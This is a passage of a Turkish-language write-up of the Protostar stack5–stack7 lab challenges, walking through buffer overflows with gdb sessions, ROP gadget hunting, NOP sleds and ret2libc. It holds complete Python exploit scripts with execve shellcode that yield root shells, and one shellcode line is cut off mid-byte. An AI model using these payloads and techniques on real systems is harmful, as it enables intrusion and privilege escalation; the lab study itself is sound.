gef➤ n
asdfghjkl
───────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffce40 → "asdfghjkl"
$ebx : 0x0
$ecx : 0xf7fab580 → 0xfbad2288
$edx : 0xffffce49 → 0xc4ffff00
$esp : 0xffffce30 → 0xffffce40 → "asdfghjkl"
$ebp : 0xffffce88 → 0x00000000
$esi : 0xf7fab000 → 0x001e9d6c
$edi : 0xf7fab000 → 0x001e9d6c
$eip : 0x080483d9 → <main+21> leave
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
Bu noktada program tekrardan duracak. Bu kusumda registerları incelersek eax
registerinin bizim verdiğimiz girdiyi gösterdiğini çok rahat bir şekilde görebiliriz. Eğer biz bir şekilde eax registerini fonksiyon gibi çağırabilirsek bizim stack üzerine koyduğumuz shellkodda çalışacaktır.
Ve dönüp gadgetlara tekrardan bakarsanız eax registerinin gösterdiği adresi fonksiyon gibi çağıran şu gadgeti göreceksiniz.
0x080483bf: call eax;
Eğer biz bu gadgeti eip registerine yerleştirirsek shellkodumuz çalışacaktır. Deneyelimmi ???
$ python2 exploit.py | ./stack5
$
Bu şekilde çalıştırırsanız muhtemelen çalışmayacaktır. Peki neden? Normalde başarılı bir şekilde shellkodumuz çalışıyor fakat çalıştırdığımız shell hemen kapanıyor. Bunun kapanmasını engellememiz lazım. Bunun için cat komutunu kullanacağız. Nasıl mı?
$ (python2 exploit.py; cat) | ./stack5
id
uid=1000(hello) gid=1000(hello) groups=1000(hello),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),138(docker)
Bu komut karışık gelmesin. exploit payloadını stack5 programına gönderdikten sonra cat komutu ile açılan shell in kapanmasını engelliyoruz. Hepsi bu kadar. Artık gets fonksiyonundan komut çalıştırmayı öğrendik. Full exploit kodunuda şuraya bırakayım.
#!/bin/python2
import struct
shellcode = b"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
call_eax = 0x080483bf # 0x080483bf: call eax;
payload = b""
payload += shellcode
payload += b"a" * (76 - len(shellcode))
payload += struct.pack("I", call_eax)
print payload
Stack6
Bu soru diğer sorulardan farklı olarak bazı kısıtlamalar veriyor ve bu kısıtlamaları aşmamızı bekliyor.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
Kaynak kodu incelediğimizde bazı farklılıklar görüyoruz. Öncelikle __builtin_return_address(0)
isimli fonksiyon çağrılıyor. Bu fonksiyon parametre olarak "0" verildiği zaman bulunduğu fonksiyonun geri dönüş adresini döndürür. Hemen altındaki if kontrolünde ise bu değer bir kontrolden geçiriliyor. Eğer kontrol pozitif çıkarsa programı sonlandırıyor. Yani fonksiyonun geri dönüş adresine istediğimiz her değeri yazamayacağız.
Peki 0xbf000000
adreside ne. Bunu gdb ile inceleyelim.
UYARI: Bu programı protostarın sitesinden indirdiğiniz sanal makine üzerinde çalıştırın. Eğer kendi bilgisayarınızda çalıştırırsanız bellek adreslerinde göreceğiniz değerler değişecektir ve bu sorudaki kısıtlama ile hiç karşılaşmayabilirsiniz.
user@protostar:/opt/protostar/bin$ gdb stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) r
Starting program: /opt/protostar/bin/stack6
Breakpoint 1, main (argc=1, argv=0xbffff754) at stack6/stack6.c:27
27 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) info proc map
process 10196
cmdline = '/opt/protostar/bin/stack6'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
(gdb)
Yukarıda info proc map
komutuyla programın bellek adreslerini inceliyorum. Dikkat ederseniz terminal çıktısının sonunda stack adresini göreceksiniz. 0xbf...
ile başlıyor. Yani program stacke atlamımızı engelliyor. Eğer biz stacke shellcode koyduğumuzda o shell kodu çalıştıramayacağız. Yada bu korumayı bypass edip çalıştıracağız.
Öncelikle stack boyutunu öğrenelim. Bu işlem sırasında kendi bilgisayarınızı kullanabilirsiniz. Ama exploit kodunu protostar makinesinde çalıştırın.
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/hello/CTF/protostar/stack6/stack6
input path please: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
got path aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaauaaaraaasaaataaauaaavaaawaaaxaaayaaa
..........................................
..........................................
gef➤ pattern offset $eip
[+] Searching '$eip'
[+] Found at offset 80 (little-endian search) likely
[+] Found at offset 77 (big-endian search)
Buffer boyutumuz 80. Yani 80 byttan sonraki 4 byte eip registerinin değeri olacak.
O zaman exploit kodumuzu oluşturmaya başlayalım. Bu exploitte de yukarıdaki shellkodu kullanacağım.
from struct import pack
shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = ""
payload += shellcode
payload += "a" * (80 - len(shellcode))
Bu andan itibaren eax registerine koyacağımız değeri bulmaya geliyor. Ben bu nokrada da ropper aracı ile bir gadget bulacağım.
Gatgeti bulmadan önce ret
komutu ile ilgili bilgi vermek istiyorum. Bu makine komutu bir fonksiyondan dönmeyi sağlar. Eğer getpath
fonksiyonunu disassamble edip incelerseniz son komutun ret olduğunu görürsünüz.
Bu gilgiyi verdikten sonra internette bir writeupdan gördüğüm çok güzel bir tekniği sizlerle paylaşmak istiyorum. Normalde bir bu soruda stackteki bir yere atlayamıyorduk. Eğer biz fonksiyonun dönüş adresine bir tane ret gadgeti koyarsak ne olur. Fonksiyon 2 defa geri döner. Bizde 2. defa geri dönerken stacke atlayabiliriz.
Hemen gadget lara bakalım.
$ ropper -f stack6
........................
0x0804833e: ret;
........................
Bu gadgeti payloada ekliyoruz ve hemen ardından dönüş adresini akliyoruz. Exploit şu hali aldı.
from struct import pack
shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = ""
payload += shellcode
payload += "a" * (80 - len(shellcode))
payload += pack("I", 0x0804833e) # ret
payload += "bbbb"
Ve karşı makinede gdb ile çalıştırıyorum.
(gdb) r < /tmp/input
Starting program: /opt/protostar/bin/stack6 < /tmp/input
input path please: got path 1��Ph//shh/bin��PS��
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa>aaaaaaaaaaaa>bbbb
Program received signal SIGSEGV, Segmentation fault.
0x62626262 in ?? ()
Gördüğünüz üzere eip yi başarılı bir şekilde değiştirdik. Şimdi sıra geldi eip yerine shellkodumuzun adresini vermeye. Shellkodumuzun adresini bulmak için gdb kullanabiliriz. Ben gets fonksiyonunun çağrıldığı yere breakpoint koyuyorum.
(gdb) break *0x080484aa
Breakpoint 1 at 0x80484aa: file stack6/stack6.c, line 13.
(gdb) r
Starting program: /opt/protostar/bin/stack6
input path please:
Breakpoint 1, 0x080484aa in getpath () at stack6/stack6.c:13
13 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) n
asdfghjk
15 in stack6/stack6.c
(gdb) info registers
eax 0xbffff64c -1073744308
ecx 0xbffff64c -1073744308
..........................................
Programı çalıştırdım. gets fonksiyonu çalıştıktan sonra input olarak "asdfghjk" giriyorum. Hatırlarsanız gets fonksiyonunda eax registeri bellekte yazılan verinin başlangıç adresini tutuyordu. eax regiterinin adresini gdb ile okuyorum.
(gdb) x/s 0xbffff64c
0xbffff64c: "asdfghjk"
Buradaki x/s
string (karakter dizisi) bir veriyi okumak istediğimizi belirtiyor. Ve çıktıda ise kendi girdiğim veriyi görüyorum. Demekki shellkodumuz bu adresten başlayacak. Exploit kodunu şu şekilde güncelliyorum.
from struct import pack
shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = ""
payload += shellcode
payload += "a" * (80 - len(shellcode))
payload += pack("I", 0x0804833e) # ret
payload += pack("I", 0xbffff64c)
print payload
Şimdi bu payload ile programı çalıştırıyorum. Önce exploit çıktısını bir dosyaya kaydediyorum ardından gdb den programa.
(gdb) r < /tmp/input
Starting program: /opt/protostar/bin/stack6 < /tmp/input
input path please:
Breakpoint 1, 0x080484aa in getpath () at stack6/stack6.c:13
13 in stack6/stack6.c
(gdb) c
Continuing.
got path 1��Ph//shh/bin��PS��
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa>aaaaaaaaaaaa>L���
Executing new program: /bin/dash
Program exited normally.
Dikkat ederseniz exploitimiz /bin/dash
programını başarıyla çalıştırdı. Sıra geldi gdb den çıkıp exploiti denemeye.
user@protostar:/opt/protostar/bin$ (python /tmp/stack6.py; cat) | ./stack6
input path please: got path 1��Ph//shh/bin��PS��
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa>aaaaaaaaaaaa>L���
id
Illegal instruction
Ne? Illegal instruction mı? Neden patladı bu şimdi.
İnternetten biraz araştırmanın ardından sorunun ne olduğunu buldum. Şöyle açıklayayım. Bir programı dgb ile çalıştırmak ile gdb dığında çalıştırmak arasında bazı farklılıklar var. Mesela gdb breakpoint gibi özellikleri sağlayabilmek için programa birtakım veriler ekliyor. Bu nedenden ötürü bizim yazdığımız stack adresleri gdb içinde ve gdb dışında farklı oluyor. Bizim örneğimizde eax registerinden bulduğumuz adres gdb dışında farklı bir değer olacak. Bu yüzden bum. Daha detaylı bilgi için size 2 tane line bırakıyorum.
Bu linklerinde yardımıyla exploit kodunda ufak bir kaç değişiklik yapacağım.
Öncelikle stack alanını doldurmak için kullandığımız "a" karakteri yerine "\x90" kullanacağız. Peki bunu neden yapıyoruz. Çünkü "\x90" yada 0x90 makine kodu olarak "nop" demektir. Bu kodun özelliği hiçbir şeydir. Yani bu makine kodu hiç bir şey yapmaz. İşlemci bu makine kodunu gördükten sonra hiçbirşey yapmadan sonraki komuta geçer. Peki bu bizim ne işimize yarayacak. Eğer biz shell kodumuzun tam adresini tutturamazsak bile 0x90 komutları bizim shell kodumuza kadar bir hata çıkmasını engelleyecek. Aksi halde Illegal instruction
hatası alırdık.
Bu yüzden "a" karakteri yerine 0x90 ile exploit kodumu düzenliyorum. shell kodumun başına ve sonuna nop ekleyerek olası hataları en aza indirmeye çalışıyorum.
Şimdi gelelim stack adresine. Gdb bellek adresini değiştiriyor demiştim. Yukarıdaki koyduğum linklerden gdb nin yaklaşık olarak 96 byte kadar değiştirdiğini görebilirsiniz. O zaman exploit kodumu son haline getiriyorum.
from struct import pack
shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\x$
payload = ""
payload += "\x90" * 20
payload += shellcode
payload += "\x90" * (80 - 20 - len(shellcode))
payload += pack("I", 0x0804833e)
payload += pack("I", 0xbffff64c + 96)
print payload
Ve sonunda:
user@protostar:/opt/protostar/bin$ (python /tmp/stack6.py; cat) | ./stack6
input path please: got path ��������������������1��Ph//shh/bin��PS��
��������������������>������������>����
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Bu yöntem bu soruyu çözmek için en iyi yöntem değil. Hatta biraz kirli bir yöntem. Ayrıca bu soruyu birkaç farklı yöntemle çözebilirsiniz. Ben onları şimdikik atlıyorum. Size ödev olsun :)
Stack7
Ver son sorumuz. Bu sorudada return adresimiz kısıtlanmış. Bu seferki kısıtlama daha fazla.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
0xb
ile başlayan hiç bir adresi kullanamıyoruz. Peki bu noktada ne yapacağız. Bir önceki soruda olduğu gibi bir yöntem uygulamayabiliriz. Fakat ben burada biraz daha farklı birşey uygulamak istiyorum. Bu yöntemin adı ret2libc.
Linux sistemlerde ortak ve yaygın olarak kullanılan fonksiyon ve değişkenleri kütüphanelerde saklarız. Bu sayede her binary dosyası bu fonksiyon ve sabitleri kendi içinde barındırması gerekmez. Ayrıca binary dosyalarımızın boyutlarıda bu saydede küçülür.
Şimdi stack7 dosyasında kullanılan harici programlara bakalım. Bu işlem için ldd
isminde bir program kullanacağım.
user@protostar:/tmp$ ldd /opt/protostar/bin/stack7
linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/libc.so.6 (0xb7e99000)
/lib/ld-linux.so.2 (0xb7fe5000)
Çıktıyı incelersek programda 3 tane kütüphane kullanılıyor. Bunların içerisinden en önemlisi libc.so.6
. Bu kütüphanenin içerisinde ihtiyacımız olan her şey var. system
fonksiyonu gibi önemli foksiyonlar burada tanımlı. Ayrıca "/bin/sh" bi önemli stringler de bu dosya içinde hazırda bulunuyor.
Bellek kısıtlamasını aşmak için ret
gadgetini kullanacağız. Ardından c dilindeki system fonksiyonunu çağıracağız ve parametre olarakta "/bin/sh" vereceğiz. Payloadımız yaklaşık olarak "buffer + ret + system + /bin/sh" olacak. O zaman başlayalım.
Öncelikle bufferı dolduruyorum ardından bellek kısıtlamasını aşmak için ret gadgetini eip ye yerleştiriyorum. gadgeti ropper ile bulabilirsiniz.
from struct import pack
ret = 0x08048362 # 0x08048362: ret;
payload = ""
payload += "a" * 80
payload += pack("I", ret)
Bu noktada system fonksiyonunun adresine ihtiyacımız olacak. Gdb ile bu bilgiyi rahat bir şekilde öğrenebiliriz. gdb de programı çalıştırıp p system
komutuyla fonksiyonun adresini yazdıralım.
user@protostar:/opt/protostar/bin$ gdb stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) b main
Breakpoint 1 at 0x804854b: file stack7/stack7.c, line 28.
(gdb) r
Starting program: /opt/protostar/bin/stack7
Breakpoint 1, main (argc=1, argv=0xbffff754) at stack7/stack7.c:28
28 stack7/stack7.c: No such file or directory.
in stack7/stack7.c
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
Görüldüğü üzere system fonksiyonu 0xb7ecffb0
adresinde. return adresine bu değeri yazmamız gerekiyor.
Şimdi ise "/bin/sh" stringinin adresini bulalım. Bu string libc içerisinde tanımlı. Tam yerini bulmak için ise strings
isminde bir araç kullanacağız.
user@protostar:/tmp$ strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
11f3bf /bin/sh
Yukarıdaki komutu açıklayalım.
-a
bütün dosyayı taramamızı sağlar-t x
ise bulunan string libc içindeki konumunu hex olarak gösterir.- en son grep ile "/bin/sh" kısmını aratıyoruz.
"/bin/sh" libc içerisinde 0x11f3bf
adresinde. Şimdide libc nin programımız içerisinde nereden başladığını bulalım. Gdb de info proc map
ile bunu çok rahat bir şekilde bulabiliriz.
(gdb) info proc map
.........................................................................
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack7
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack7
.........................................................................
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
.........................................................................
Terminal çıktısından libc nin programımız içerisinde 0xb7e97000
den başladığını görebiliriz. Eğer libc 0xb7e97000
dan başlıyorsa ve "/bin/sh" libc de 0x11f3bf
adresinde ise "/bin/sh" programımızda 0xb7e97000 + 0x11f3bf = 0xb7fb63bf
adresinde olması gerekir. Basit toplama çıkarma :) Doğrumu hemen bakalım:
(gdb) x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
System fonksiyonunu "/bin/sh" parametresi ile çağırmak için hazırız. Fakat son bir şey daha kaldı. system fonksiyonu sonlandıktan sonra hangi adrese döneceğinide stacke eklememiz gerekiyor. 4 byte uzunluğunda herhangi bir değer girebilirsiniz. "aaaa" gibi. Bu önemli değil. Ben hata almak istemediğim için exit fonksiyonunun adresini gireceğim. gdb de p exit
komutu ile adresi öğrenebilirsiniz.
Artık gerekli bütün bilgiye sahibiz.
from struct import pack
ret = 0x08048362 # 0x08048362: ret;
system = 0xb7ecffb0
bin_sh = 0xb7fb63bf
payload = ""
payload += "a" * 80
payload += pack("I", ret)
payload += pack("I", system)
payload += pack("I", 0xb7ec60c0) # exit system dönüş adresi
payload += pack("I", bin_sh)
print payload
Ve bum:
user@protostar:/opt/protostar/bin$ (python /tmp/s7.py; cat) | ./stack7
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaab����`췿c��
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
exit
Bu şekilde protostardaki tük stack sorularını bitirmiş olduk.
Son Sözler
Elimden geldiğince bildiklerini aktarmaya çalıştım. Umarım size faydalı olur. İlerleyen günlerde format string zafiyetleri ile devam edeceğiz.
Herhangi bir sorunuz olursa bana twitter dan ulaşabilirsiniz.